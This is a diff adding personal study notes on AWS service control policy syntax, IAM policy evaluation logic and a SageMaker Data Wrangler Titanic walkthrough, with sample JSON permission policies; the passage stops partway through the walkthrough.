`Statement` element + +- An SCP consists of one or more `Statement` elements. +- can have only one `Statement` keyword in a policy, + - but the value can be a JSON array of statements (surrounded by `[ ]` characters). + - single statement consists of single `Effect`, `Action`, and `Resource` elements. + +```json +"Statement": { + "Effect": "Allow", + "Action": "*", + "Resource": "*" +} + +// two statements as an array list inside one `Statement` element. + +"Statement": [ + { + "Effect": "Allow", + "Action": "*", + "Resource": "*" + }, + { + "Effect": "Deny", + "Action": "ec2:*", + "Resource": "*" + } +``` + +--- + +### Statement ID (`Sid`) element + +- optional identifier that you provide for the policy statement. +- You can assign a `Sid` value to each statement in a statement array. +- The following example SCP shows a sample `Sid` statement. + +```json +{ + "Statement": { + "Sid": "AllowsAllActions", + "Effect": "Allow", + "Action": "*", + "Resource": "*" + } +} +``` + +--- + + +### `Effect` element + +Each statement must contain one `Effect` element. +- The value can be either `Allow` or `Deny`. +- It affects any actions listed in the same statement. + + +Even though this statement uses the same `Allow` value keyword as an IAM permission policy, in an SCP it doesn't actually grant a user permission to do anything. +- Instead, SCPs act as filters that specify the maximum permissions for the accounts in an organization, organizational unit (OU), or account. +- even if a user in the account had the `AdministratorAccess` managed policy attached, this SCP limits **all** users in affected accounts to only Amazon S3 actions. + +--- + +#### `"Effect": "Allow"` + +- permits account users to perform actions for the Amazon S3 service. + +```json +// the statement allows the Amazon S3 permissions for any attached accounts: +{ + "Statement": { + "Effect": "Allow", + "Action": "s3:*", + "Resource": "*" + } +} +``` + +--- + + +### `"Effect": "Deny"` + +- restrict access to specific resources or define conditions for when SCPs are in effect. + +```json +{ + "Version": "2012-10-17", + "Statement": { + "Effect": "Deny", + "Action": "ec2:RunInstances", + "Resource": "arn:aws:ec2:*:*:instance/*", + "Condition": { + "StringNotEquals": { + "ec2:InstanceType": "t2.micro" + } + } + } +} +// prevent affected accounts from launching Amazon EC2 instances if the Amazon EC2 instance isn't set to `t2.micro`. +// Even if an IAM policy that allows this action is attached to the account, the guardrail created by the SCP prevents it. +``` + + +--- + +### `Action` and `NotAction` elements +--------------------------------- + +Each statement must contain one of the following: + +* In `allow` and `deny` statements, an `Action` element. + +* In `deny` statements only, an `Action` or `NotAction` element. + + +The value for the `Action` or `NotAction` element is +- a list (a JSON array) of strings + - identify AWS services and actions that are allowed or denied by the statement. + - Each string consists of the abbreviation for the service (such as "s3", "ec2", "iam", or "organizations"), in all lowercase, + - followed by a colon + - and then an action from that service. +- The actions and notactions are case sensitive + - must be typed as shown in each service's documentation. + - Generally, they are all typed with each word starting with an uppercase letter and the rest lowercase. + - For example: `"s3:ListAllMyBuckets"`. + +- use an asterisk as a wildcard to match multiple actions that share part of a name. + - The value `"s3:*"` means all actions in the Amazon S3 service. + - The value `"ec2:Describe*"` matches only the EC2 actions that begin with "Describe". + - In an SCP, the wildcard `*` character in an `Action` or `NotAction` element + - can be used only by itself or at the end of the string. + - It can't appear at the beginning or middle of the string. + - `"servicename:action*"` is valid, + - `"servicename:*action"` and `"servicename:some*action"` are both invalid in SCPs. + + +list of all the services and the actions that they support in both AWS Organizations SCPs and IAM permission policies +- [Actions, Resources, and Condition Keys for AWS Services](https://docs.aws.amazon.com/IAM/latest/UserGuide/referencepoliciesactionsconditions.html) in the IAM User Guide. + + +#### `Action` element + +an example of an allow list +- useful when the default `Allow *` policies are not attached so that ermissions are implicitly denied. +- If the default `Allow *` policy is still attached, the policy has no effect. + +```json +// permits account administrators to delegate describe, start, stop, and terminate permissions for EC2 instances in the account. +{ + "Version": "2012-10-17", + "Statement": { + "Effect": "Allow", + "Action": [ + "ec2:DescribeInstances", + "ec2:DescribeImages", + "ec2:DescribeKeyPairs", + "ec2:DescribeSecurityGroups", + "ec2:DescribeAvailabilityZones", + "ec2:RunInstances", + "ec2:TerminateInstances", + "ec2:StopInstances", + "ec2:StartInstances" + ], + "Resource": "*" + } +} +``` + + +an example of an deny list +- deny access to services that you don't want used in attached accounts. +- It assumes that the default `"Allow *"` SCPs are still attached to all OUs and the root. + +```json +// prevents the account administrators in attached accounts from delegating any permissions for the IAM, Amazon EC2, and Amazon RDS services. +// Any action from other services can be delegated as long as there isn't another attached policy that denies them. +{ + "Version": "2012-10-17", + "Statement": { + "Effect": "Deny", + "Action": [ "iam:*", "ec2:*", "rds:*" ], + "Resource": "*" + } +} +``` + +--- + +### Example of `NotAction` element ??? + +- use a `NotAction` element to exclude AWS services from the effect of the policy. + +```json +{ + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "LimitActionsInRegion", + "Effect": "Deny", + "NotAction": "iam:*", + "Resource": "*", + "Condition": { + "StringNotEquals": { + "aws:RequestedRegion": "us-west-1" + } + } + } + ] +} +// affected accounts are limited to taking actions in the specified AWS Region, except when using IAM actions. +``` + +--- + +### `Resource` element + +In statements `Effect` element has a value of `Allow` +- you can specify only `\*` in the `Resource` element of an SCP ??? +- You can't specify individual resource Amazon Resource Names (ARNs). + +In statements `Effect` element has a value of `Deny` +- you can specify individual ARNs + +```json +{ + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "DenyAccessToAdminRole", + "Effect": "Deny", + "Action": [ + "iam:AttachRolePolicy", + "iam:DeleteRole", + "iam:DeleteRolePermissionsBoundary", + "iam:DeleteRolePolicy", + "iam:DetachRolePolicy", + "iam:PutRolePermissionsBoundary", + "iam:PutRolePolicy", + "iam:UpdateAssumeRolePolicy", + "iam:UpdateRole", + "iam:UpdateRoleDescription" + ], + "Resource": [ + "arn:aws:iam::*:role/`role-to-deny`" + ] + } + ] +} +// This SCP restricts IAM users and roles in affected accounts from making changes to a common administrative IAM role created in all accounts in your organization. +``` + +--- + +### `Condition` element + +You can specify a `Condition` element in deny statements in an SCP. + +```json +{ + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "DenyAllOutsideEU", + "Effect": "Deny", + "NotAction": [ + "cloudfront:*", + "iam:*", + "route53:*", + "support:*" + ], + "Resource": "*", + "Condition": { + "StringNotEquals": { + "aws:RequestedRegion": ["eu-central-1","eu-west-1"] + } + } + } + ] +} +// This SCP denies access to any operations outside the `eu-central-1` and `eu-west-1` Regions +// except for actions in the listed services. +``` + + +For more information, see [IAM JSON Policy Elements: Condition](https://docs.aws.amazon.com/IAM/latest/UserGuide/referencepolicieselementscondition.html) in the IAM User Guide. + + + +#### multiple condition + +PolicyA: **Deny CreateNotebookInstance if both value is "Enabled"** +- if both parameter are missing (null), API been denied +- if one parameter is missing, API been denied +- if both parameter existed and are "Enabled" (are not "Disabled"), API been denied +- if both parameter existed and are "Disabled" (are not "Enabled"), API Pass. + +```json +{ + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Deny", + "Action": "sagemaker:CreateNotebookInstance", + "Resource": "*", + "Condition": { + "StringEquals": { + "sagemaker:DirectInternetAccess": "Enabled" + } + } + }, + { + "Effect": "Deny", + "Action": "sagemaker:CreateNotebookInstance", + "Resource": "*", + "Condition": { + "StringEquals": { + "sagemaker:RootAccess": "Enabled" + } + } + } + ] +} +``` + +--- + +PolicyB: +**Deny CreateNotebookInstance and UpdateNotebookInstance if any of the values is not "Disabled"** + +- if both parameter are null, 2 APIs been denied + +- if `DirectInternetAccess` is null and the other is `Enabled`, 2 APIs been denied +- if `DirectInternetAccess` is null and the other is `Disabled`, only "CreateNotebookInstance" been denied + +- if `RootAccess` is null and the other is `Enabled`, 2 APIs been denied +- if `RootAccess` is null and the other is `Disabled`, 2 APIs been denied + +- if both parameter existed and are `Enabled` (are not `Disabled`), 2 APIs been denied +- if both parameter existed and are `Disabled` (are not `Enabled`), 2 APIs Pass. + +```json +{ + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Deny", + "Action": "sagemaker:CreateNotebookInstance", + "Resource": "*", + "Condition": { + "StringNotEquals": { + "sagemaker:DirectInternetAccess": "Disabled" + } + } + }, + { + "Effect": "Deny", + "Action": [ + "sagemaker:CreateNotebookInstance", + "sagemaker:UpdateNotebookInstance" + ], + "Resource": "*", + "Condition": { + "StringNotEquals": { + "sagemaker:RootAccess": "Disabled" + } + } + } + ] +} +``` + + +--- + +**Duplicate String Operator is not allowed as per JSON syntax** + +PolicyC: +- if both parameter are null, 2 APIs been denied (?) +- if one parameter is null and the other is `Enabled`, 2 APIs been denied (?) +- if one parameter is null and the other is `Disabled`, 2 APIs been denied (?) +- if both parameter existed and are "Enabled" (are not "Disabled"), 2 APIs been denied +- if both parameter existed and are "Disabled" (are not "Enabled"), 2 APIs Pass. + +```json +{ + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Deny", + "Action": "sagemaker:CreateNotebookInstance", + "Resource": "*", + "Condition": { + "StringNotEquals": { + "sagemaker:DirectInternetAccess": "Disabled" + }, + "StringNotEquals": { + "sagemaker:RootAccess": "Disabled" + } + } + } + ] +} +// This policy is not valid since it has Duplicate “StringNotEquals” operator. +// After saving the SCP policy console automatically removed duplicate condition (“ForAnyValue:StringNotEquals": { "sagemaker:DirectInternetAccess": “Disabled”) from the SCP policy. + + +{ + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Deny", + "Action": "sagemaker:CreateNotebookInstance", + "Resource": "*", + "Condition": { + "StringNotEquals": { + "sagemaker:DirectInternetAccess": "Disabled" + }, + "StringEquals": { + "sagemaker:RootAccess": "Disabled" + } + } + } + ] +} +// In the above policy, AND logic will be applied +// the API call will only be allowed when “DirectInternetAccess” is “Enabled” since it’s used with “StringNotEquals” operator and “RootAccess” is “Disabled” since it is used with “StringEquals” operator. + +Result: +- DirectInternetAccess -> Enabled ----------------> Deny +- RootAccess -> Disabled + +- DirectInternetAccess -> Enabled ———-—————> Allow +- RootAccess -> Enabled + +- DirectInternetAccess -> Disabled --------------> Allow +- RootAccess -> Enabled + +- DirectInternetAccess -> Disabled ----------------> Allow +- RootAccess -> Disabled +``` + +--- + +PolicyD: Good + +- if both parameter are null, 2 APIs been denied (?) +- if one parameter is null and the other is `Enabled`, 2 APIs been denied (?) +- if one parameter is null and the other is `Disabled`, 2 APIs been denied (?) +- if both parameter existed and are "Enabled" (are not "Disabled"), 2 APIs been denied +- if both parameter existed and are "Disabled" (are not "Enabled"), 2 APIs Pass. + +```json +{ + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Deny", + "Action": "sagemaker:CreateNotebookInstance", + "Resource": "*", + "Condition": { + "StringNotEquals": { + "sagemaker:DirectInternetAccess": "Disabled", + "sagemaker:RootAccess": "Disabled" + } + } + } + ] +} +// You need to select “Enabled” or “Disabled” +// if not, it will take default value for the keys which is “Enabled”. +// - if either parameter are `Disabled`, allow +// - if both parameter are `Enabled` (are not `Disabled`), 2 APIs been denied +``` + + +--- + +PolicyE: +- if both parameter are null, 2 APIs been denied (?) +- if one parameter is null and the other is `Enabled`, 2 APIs been denied (?) +- if one parameter is null and the other is `Disabled`, 2 APIs been denied (?) +- if both parameter existed and are "Enabled" (are not "Disabled"), 2 APIs been denied +- if both parameter existed and are "Disabled" (are not "Enabled"), 2 APIs Pass. +```json +{ + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Deny", + "Action": [ + "sagemaker:CreateNotebookInstance", + "sagemaker:UpdateNotebookInstance" + ], + "Resource": "*", + "Condition": { + "StringNotEquals": { + "sagemaker:DirectInternetAccess": "Disabled", + "sagemaker:RootAccess": "Disabled" + } + } + } + ] +} + +// - if both parameter are `Disabled` allow +// - if one parameter are `Enabled`, allow +// - if both parameter are `Enabled` (not `Disabled`), 2 APIs been denied +``` + + + +--- + +### Unsupported elements + +The following elements aren't supported in SCPs: + +* `Principal` +* `NotPrincipal` +* `NotResource` + + + + + + + + + + + + +. diff --git a/_posts/01Cloud/01AWS/IAM/policy/PolicyEvaluationLogic.md b/_posts/01Cloud/01AWS/IAM/policy/PolicyEvaluationLogic.md new file mode 100644 index 00000000000..bfa9d97a82d --- /dev/null +++ b/_posts/01Cloud/01AWS/IAM/policy/PolicyEvaluationLogic.md @@ -0,0 +1,271 @@ + + + +- [Policy evaluation logic](#policy-evaluation-logic) + - [Policy evaluation logic](#policy-evaluation-logic-1) + - [Processing the request context](#processing-the-request-context) + - [Evaluating policies within a single account](#evaluating-policies-within-a-single-account) + - [Evaluating identity-based policies with resource-based policies](#evaluating-identity-based-policies-with-resource-based-policies) + - [Evaluating identity-based policies with permissions boundaries](#evaluating-identity-based-policies-with-permissions-boundaries) + - [Evaluating identity-based policies with Organizations SCPs](#evaluating-identity-based-policies-with-organizations-scps) + - [Determining whether a request is allowed or denied within an account](#determining-whether-a-request-is-allowed-or-denied-within-an-account) + - [Example identity-based and resource-based policy evaluation](#example-identity-based-and-resource-based-policy-evaluation) + + +- ref + - [https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_evaluation-logic.html#policy-eval-denyallow](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_evaluation-logic.html#policy-eval-denyallow) + + + + +--- + +# Policy evaluation logic + + +--- + +## Policy evaluation logic + +When a principal tries to use the AWS Management Console, the AWS API, or the AWS CLI, that principal sends a _request_ to AWS. When an AWS service receives the request, AWS completes several steps to determine whether to allow or deny the request. + +1. **Authentication** + 1. AWS first authenticates the principal that makes the request, if necessary. + 2. This step is not necessary for a few services, such as Amazon S3, that allow some requests from anonymous users. + +2. **Processing the request context** + 1. AWS processes the information gathered in the request to determine which policies apply to the request. + +3. **Evaluating policies within a single account** + 1. AWS evaluates all of the policy types, which affect the order in which the policies are evaluated. + +4. **Determining whether a request is allowed or denied within an account** + 1. AWS then processes the policies against the request context to determine whether the request is allowed or denied. + + +--- + +## Processing the request context + + +AWS processes the request to gather the following information into a _request context_: + +* **Actions (or operations)** – The actions or operations that the principal wants to perform. + +* **Resources** – The AWS resource object upon which the actions or operations are performed. + +* **Principal** – The user, role, federated user, or application that sent the request. Information about the principal includes the policies that are associated with that principal. + +* **Environment data** – Information about the IP address, user agent, SSL enabled status, or the time of day. + +* **Resource data** – Data related to the resource that is being requested. This can include information such as a DynamoDB table name or a tag on an Amazon EC2 instance. + + +AWS then uses this information to find policies that apply to the request context. + +--- + +## Evaluating policies within a single account + + + +How AWS evaluates policies depends on the types of policies that apply to the request context. The following policy types, listed in order of frequency, are available for use within a single AWS account. For more information about these policy types, see [Policies and permissions in IAM] . To learn how AWS evaluates policies for cross-account access, see [Cross-account policy evaluation logic] . + +1. **Identity-based policies** – Identity-based policies are attached to an IAM identity (user, group of users, or role) and grant permissions to IAM entities (users and roles). If only identity-based policies apply to a request, then AWS checks all of those policies for at least one `Allow`. + +2. **Resource-based policies** – Resource-based policies grant permissions to the principal (account, user, role, or federated user) specified as the principal. The permissions define what the principal can do with the resource to which the policy is attached. If resource-based policies and identity-based policies both apply to a request, then AWS checks all the policies for at least one `Allow`. + +3. **IAM permissions boundaries** – Permissions boundaries are an advanced feature that sets the maximum permissions that an identity-based policy can grant to an IAM entity (user or role). When you set a permissions boundary for an entity, the entity can perform only the actions that are allowed by both its identity-based policies and its permissions boundaries. An implicit deny in a permissions boundary does not limit the permissions granted by a resource-based policy. + +4. **AWS Organizations service control policies (SCPs)** – Organizations SCPs specify the maximum permissions for an organization or organizational unit (OU). The SCP maximum applies to principals in member accounts, including each AWS account root user. If an SCP is present, identity-based and resource-based policies grant permissions to principals in member accounts only if those policies and the SCP allow the action. If both a permissions boundary and an SCP are present, then the boundary, the SCP, and the identity-based policy must all allow the action. + +5. **Session policies** – Session policies are advanced policies that you pass as parameters when you programmatically create a temporary session for a role or federated user. To create a role session programmatically, use one of the `AssumeRole*` API operations. When you do this and pass session policies, the resulting session's permissions are the intersection of the IAM entity's identity-based policy and the session policies. To create a federated user session, you use an IAM user's access keys to programmatically call the `GetFederationToken` API operation. A resource-based policy has a different effect on the evaluation of session policy permissions. The difference depends on whether the user or role's ARN or the session's ARN is listed as the principal in the resource-based policy. For more information, see [Session policies] + + +Remember, an explicit deny in any of these policies overrides the allow. + +### Evaluating identity-based policies with resource-based policies + +Identity-based policies and resource-based policies grant permissions to the identities or resources to which they are attached. When an IAM entity (user or role) requests access to a resource within the same account, AWS evaluates all the permissions granted by the identity-based and resource-based policies. The resulting permissions are the total permissions of the two types. If an action is allowed by an identity-based policy, a resource-based policy, or both, then AWS allows the action. An explicit deny in either of these policies overrides the allow. + + +### Evaluating identity-based policies with permissions boundaries + +When AWS evaluates the identity-based policies and permissions boundary for a user, the resulting permissions are the intersection of the two categories. That means that when you add a permissions boundary to a user with existing identity-based policies, you might reduce the actions that the user can perform. Alternatively, when you remove a permissions boundary from a user, you might increase the actions they can perform. An explicit deny in either of these policies overrides the allow. To view information about how other policy types are evaluated with permissions boundaries, see [Evaluating effective permissions with boundaries] + + +### Evaluating identity-based policies with Organizations SCPs + +When a user belongs to an account that is a member of an organization, the resulting permissions are the intersection of the user's policies and the SCP. This means that an action must be allowed by both the identity-based policy and the SCP. An explicit deny in either of these policies overrides the allow. + +You can learn [whether your account is a member of an organization](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_org_details.html#orgs_view_account) in AWS Organizations. Organization members might be affected by an SCP. To view this data using the AWS CLI command or AWS API operation, you must have permissions for the `organizations:DescribeOrganization` action for your Organizations entity. You must have additional permissions to perform the operation in the Organizations console. To learn whether an SCP is denying access to a specific request, or to change your effective permissions, contact your AWS Organizations administrator. + + +--- + +## Determining whether a request is allowed or denied within an account + + +Assume that a principal sends a request to AWS to access a resource in the same account as the principal's entity. The AWS enforcement code decides whether the request should be allowed or denied. AWS gathers all of the policies that apply to the request context. The following is a high-level summary of the AWS evaluation logic on those policies within a single account. + +* By default, all requests are implicitly denied. (Alternatively, by default, the AWS account root user has full access.) + +* An explicit allow in an identity-based or resource-based policy overrides this default. + +* If a permissions boundary, Organizations SCP, or session policy is present, it might override the allow with an implicit deny. + +* An explicit deny in any policy overrides any allows. + + +The following flow chart provides details about how the decision is made. + +![ +Evaluation flow chart +](images/PolicyEvaluationHorizontal.png) + +1. **Deny evaluation** – By default, all requests are denied. This is called an [implicit deny] . The AWS enforcement code evaluates all policies within the account that apply to the request. These include AWS Organizations SCPs, resource-based policies, IAM permissions boundaries, role session policies, and identity-based policies. In all those policies, the enforcement code looks for a `Deny` statement that applies to the request. This is called an [explicit deny] . If the code finds even one explicit deny that applies, the code returns a final decision of **Deny**. If there is no explicit deny, the code continues. + +2. **Organizations SCPs** – Then the code evaluates AWS Organizations service control policies (SCPs) that apply to the request. SCPs apply to principals of the account where the SCPs are attached. If the enforcement code does not find any applicable `Allow` statements in the SCPs, then the request is implicitly denied. The code returns a final decision of **Deny**. If there is no SCP, or if the SCP allows the requested action, the code continues. + +3. **Resource-based policies** – If the requested resource has a resource-based policy that allows the principal to perform the requested action, then the code returns a final decision of **Allow**. If there is no resource-based policy, or if the policy does not include an `Allow` statement, then the code continues. + + Note + + This logic can behave differently if you specify the ARN of an IAM role or user as the principal of the resource-based policy. Someone can use session policies to create a temporary credential session for that role or federated user. In that case, the effective permissions for the session might not exceed those allowed by the identity-based policy of the user or role. For more information, see [Session Policies](https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html#policies_session). + +4. **IAM permissions boundaries** – The enforcement code then checks whether the IAM entity that is used by the principal has a permissions boundary. If the policy that is used to set the permissions boundary does not allow the requested action, then the request is implicitly denied. The code returns a final decision of **Deny**. If there is no permissions boundary, or if the permissions boundary allows the requested action, the code continues. + +5. **Session policies** – The code then checks whether the principal is using a session that was assumed by passing a session policy. You can pass a session policy while using the AWS CLI or AWS API to get temporary credentials for a role or federated user. If the session policy is present and does not allow the requested action, then the request is implicitly denied. The code returns a final decision of **Deny**. If there is no session policy, or if the policy allows the requested action, the code continues. + +6. **Identity-based policies** – The code then checks the identity-based policies for the principal. For an IAM user, these include user policies and policies from groups to which the user belongs. If any statement in any applicable identity-based policies allows the requested action, then the enforcement code returns a final decision of **Allow**. If there are no statements that allow the requested action, then the request is implicitly denied, and the code returns a final decision of **Deny**. + +7. **Errors** – If the AWS enforcement code encounters an error at any point during the evaluation, then it generates an exception and closes. + + +--- + +## Example identity-based and resource-based policy evaluation + + +The most common types of policies are identity-based policies and resource-based policies. + +Assume that Carlos has the user name `carlossalazar` and he tries to save a file to the `carlossalazar-logs` Amazon S3 bucket. + +Also assume that the following policy is attached to the `carlossalazar` IAM user. + +```json +{ + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "AllowS3ListRead", + "Effect": "Allow", + "Action": [ + "s3:ListAllMyBuckets", + "s3:HeadBucket" + ], + "Resource": "*" + }, + { + "Sid": "AllowS3Self", + "Effect": "Allow", + "Action": "s3:*", + "Resource": [ + "arn:aws:s3:::carlossalazar/*", + "arn:aws:s3:::carlossalazar" + ] + }, + { + "Sid": "DenyS3Logs", + "Effect": "Deny", + "Action": "s3:*", + "Resource": [ + "arn:aws:s3:::*log*", + "arn:aws:s3:::*log*/*" + ] + } + ] +}` + +The `AllowS3ListRead` statement in this policy allows Carlos to view a list of all of the buckets in the account. The `AllowS3Self` statement allows Carlos full access to the bucket with the same name as his user name. The `DenyS3Logs` statement denies Carlos access to any S3 bucket with `log` in its name. + +Additionally, the following resource-based policy (called a bucket policy) is attached to the `carlossalazar` bucket. + +```json +{ + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Allow", + "Action": "s3:*", + "Principal": { "AWS": "arn:aws:iam::111122223333:user/carlossalazar" }, + "Resource": "*" + } + ] +}` + +This policy specifies that only the `carlossalazar` user can access the `carlossalazar` bucket. + +When Carlos makes his request to save a file to the `carlossalazar-logs` bucket, AWS determines what policies apply to the request. In this case, only the identity-based policy and the resource-based policy apply. These are both permissions policies. Because no permissions boundaries apply, the evaluation logic is reduced to the following logic. + +![ +Evaluation flow chart +](images/EffectivePermissionsShort.png) + +AWS first checks for a `Deny` statement that applies to the context of the request. It finds one, because the identity-based policy explicitly denies Carlos access to any S3 buckets used for logging. Carlos is denied access. + +Assume that he then realizes his mistake and tries to save the file to the `carlossalazar` bucket. AWS checks for a `Deny` statement and does not find one. It then checks the permissions policies. Both the identity-based policy and the resource-based policy allow the request. Therefore, AWS allows the request. If either of them explicitly denied the statement, the request would have been denied. If one of the policy types allows the request and the other doesn't, the request is still allowed. + +--- + +## The difference between explicit and implicit denies + + +A request results in an explicit deny if an applicable policy includes a `Deny` statement. If policies that apply to a request include an `Allow` statement and a `Deny` statement, the `Deny` statement trumps the `Allow` statement. The request is explicitly denied. + +An implicit denial occurs when there is no applicable `Deny` statement but also no applicable `Allow` statement. Because an IAM user, role, or federated user is denied access by default, they must be explicitly allowed to perform an action. Otherwise, they are implicitly denied access. + +When you design your authorization strategy, you must create policies with `Allow` statements to allow your principals to successfully make requests. However, you can choose any combination of explicit and implicit denies. For example, you can create the following policy to allow an administrator full access to all resources in AWS, but explicitly deny access to billing. If someone adds another policy to this administrator granting them access to billing, it is still denied because of this explicit deny. + +```json +{ + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Allow", + "Action": "*", + "Resource": "*" + }, + { + "Effect": "Deny", + "Action": "aws-portal:*", + "Resource": "*" + } + ] +}` + +Alternatively, you can create the following policy to allow a user to manage users, but not groups or any other resources in IAM. Those actions are implicitly denied, as are actions in other services. However, if someone adds a policy to the user that allows them to perform these other actions, then they are allowed. + +```json +{ + "Version": "2012-10-17", + "Statement": { + "Effect": "Allow", + "Action": [ + "iam:AttachUserPolicy", + "iam:CreateUser", + "iam:DeleteUser", + "iam:DeleteUserPolicy", + "iam:DetachUserPolicy", + "iam:GetUser", + "iam:GetUserPolicy", + "iam:ListAttachedUserPolicies", + "iam:ListUserPolicies", + "iam:ListUsers", + "iam:PutUserPolicy", + "iam:UpdateUser" + ], + "Resource": "*" + } +} +``` diff --git a/_posts/01Cloud/01AWS/ML/2021-04-04-DataWrangler.md b/_posts/01Cloud/01AWS/ML/2021-04-04-DataWrangler.md new file mode 100644 index 00000000000..8ab1bf61b6e --- /dev/null +++ b/_posts/01Cloud/01AWS/ML/2021-04-04-DataWrangler.md @@ -0,0 +1,432 @@ +--- +title: AWS - ML - Data Wrangler +date: 2021-04-04 11:11:11 -0400 +categories: [01AWS, ML] +tags: [AWS, ML] +toc: true +image: +--- + +- [Data Wrangler](#data-wrangler) + - [basic](#basic) + - [benefit](#benefit) + - [Prerequisites](#prerequisites) + - [Access Data Wrangler](#access-data-wrangler) + - [Update Data Wrangler](#update-data-wrangler) +- [Demo](#demo) + - [Demo: Data Wrangler Titanic Dataset Walkthrough](#demo-data-wrangler-titanic-dataset-walkthrough) + - [Upload Dataset to S3 and Import](#upload-dataset-to-s3-and-import) + - [Data Flow](#data-flow) + - [Prepare and Visualize](#prepare-and-visualize) + - [Data Exploration](#data-exploration) + - [Drop Unused Columns](#drop-unused-columns) + - [Clean up Missing Values](#clean-up-missing-values) + - [Custom Pandas: Encode](#custom-pandas-encode) + - [Custom SQL: SELECT Columns](#custom-sql-select-columns) + - [Export](#export) + - [Export to Data Wrangler Job Notebook](#export-to-data-wrangler-job-notebook) + - [Training XGBoost Classifier](#training-xgboost-classifier) + - [Shut down Data Wrangler](#shut-down-data-wrangler) + + +--- + +# Data Wrangler + +> AWS re:Invent 2020: Accelerate data preparation with Amazon SageMaker Data Wrangler + +- ref + - [AWS re:Invent 2020: Accelerate data preparation with Amazon SageMaker Data Wrangler](https://www.youtube.com/watch?v=_bsat_2N8LI&t=1s&ab_channel=AWSEvents) + +--- + +## basic + + +![Screen Shot 2021-04-03 at 13.54.02](https://i.imgur.com/FIWDhpz.png) + +challengs: +1. data preparation is time consuming and required multiple tools and tasks +2. simple tasks require a lot of code +3. deplotment can require a code rewrite, and productionizing can take months + +## benefit + + +![Screen Shot 2021-04-03 at 13.56.15](https://i.imgur.com/3tep4VB.png) + +![Screen Shot 2021-04-03 at 13.57.11](https://i.imgur.com/8RQJjKv.png) + + +![Screen Shot 2021-04-03 at 13.57.49](https://i.imgur.com/l3DvHKv.png) + + +![Screen Shot 2021-04-03 at 13.58.39](https://i.imgur.com/CZ8MaOq.png) + + +![Screen Shot 2021-04-03 at 13.59.28](https://i.imgur.com/zzcZa7L.png) + +![Screen Shot 2021-04-03 at 14.00.36](https://i.imgur.com/5aay02p.png) + + + +--- + +## Prerequisites + +To use Data Wrangler, must do the following: + +1. need access to a `m5.4xlarge` ec2 instance. +2. Configure the required permissions. +3. To use Data Wrangler, need an active SageMaker Studio instance. +4. When the Studio instance is **Ready**, Access Data Wrangler. + +--- + + +## Access Data Wrangler + +**To access Data Wrangler in Studio:** + +1. to launch Studio, select **Open Studio**. + +2. When Studio opens, create a new flow + - select the **+** sign on the **New data flow** card under **ML tasks and components**. + - creates a new folder in Studio with a `.flow file` inside, which contains the data flow. + - The `.flow file` automatically opens in Studio. + - selecting **File**, then **New**, and choosing **Flow** in the top navigation bar. + +3. (Optional) Rename the new folder and the `.flow file`. + +4. When create a new `.flow file` in Studio, may see a message at the top of the Data Wrangler interface that says: + - **Connecting to engine: Establishing connection to engine...** + - This message persists as long as the **KernelGateway** app on the **User Details** page is **Pending**. + - To see the status of this app, in the SageMaker console on the **Amazon SageMaker Studio** page, select the name of the user are using to access Studio. + - On the **User Details** page, see a **KernelGateway** app under **Apps**. + - Wait until this app status is **Ready** to start using Data Wrangler. + - This can take around 5 minutes the first time launch Data Wrangler. + +5. To get started, choose a data source and use it to import a dataset. + - When import a dataset, it appears in the data flow. + +6. After import a dataset, Data Wrangler automatically infers the type of data in each column. + - Choose **+** next to the **Data types** step and select **Edit data types**. + - After add transforms to the **Data types** step, cannot bulk-update column types using **Update types**. + +7. Use the data flow to add transforms and analyses. + +8. To export a complete data flow, choose **Export** and choose an export option. + +9. Finally, choose the **Components and registries** icon, and select **Data Wrangler** from the dropdown list to see all `.flow file`s you've created. + - You can use this menu to find and move between data flows. + + +use Data Wrangler to create an ML data prep flow. + + +--- + + +## Update Data Wrangler + +- It is recommended that periodically update the Data Wrangler Studio app to access the latest features and updates. +- The data wrangler app name starts with **sagemaker-data-wrang**. + + +--- + +# Demo + +## Demo: Data Wrangler Titanic Dataset Walkthrough + +- have already followed the steps in Access Data Wrangler +- have a new data flow file open that intend to use for the demo. +- uses the [Titanic dataset](https://www.openml.org/d/40945). This data set contains the survival status, age, gender, and class (which serves as a proxy for economic status) of passengers aboard the maiden voyage of the RMS Titanic in 1912. + +In this tutorial, you: + +- Upload the [Titanic dataset](https://www.openml.org/d/40945) to Amazon Simple Storage Service (Amazon S3), and then import this dataset into Data Wrangler. + +- Analyze this dataset using Data Wrangler analyses. + +- Define a data flow using Data Wrangler data transforms. + +- Export the flow to a Jupyter Notebook that can use to create a Data Wrangler job. + +- Process the data, and kick off a SageMaker training job to train a XGBoost Binary Classifier. + + +### Upload Dataset to S3 and Import + +- download the [Titanic dataset](https://www.openml.org/d/40945) and upload it to an S3 bucket +- Upload the dataset to an S3 bucket in the same AWS Region want to use to complete this demo. +- When the dataset has been successfully uploaded to Amazon S3, it can import it into Data Wrangler. + +**Import the Titanic dataset to Data Wrangler** + +1. Select the **Import** tab in the Data Wrangler flow file. + +2. Select **Amazon S3** > **Import a dataset from S3** + - find the bucket to which added the Titanic dataset. + - Choose the Titanic dataset CSV file to open the **Details** pane. + +3. Under **Details**, the **File type** should be CSV. + - Choose **Add header to table** to specify that the first row of the dataset is a header. + +4. Select **Import dataset**. + - When the dataset is imported into Data Wrangler, it appears in the data flow. + - view the data flow at any time by selecting the **Prepare** tab. + +![import-titanic-dataset](https://i.imgur.com/UPcccTF.png) + + +### Data Flow + +In the data flow section, you’ll notice that the only steps in the data flow are the recently imported dataset and a **Data type** step. After applying transformations, can come back to this tab see what the data flow looks like. Now, add some basic transformations under the **Prepare** and **Analyze** tabs. + +#### Prepare and Visualize + +- Data Wrangler has built-in transformations and visualizations + - use to analyze, clean, and transform the data. +- In the **Prepare** tab, all built-in transformations are listed in the right panel, which also contains an area in which can add custom 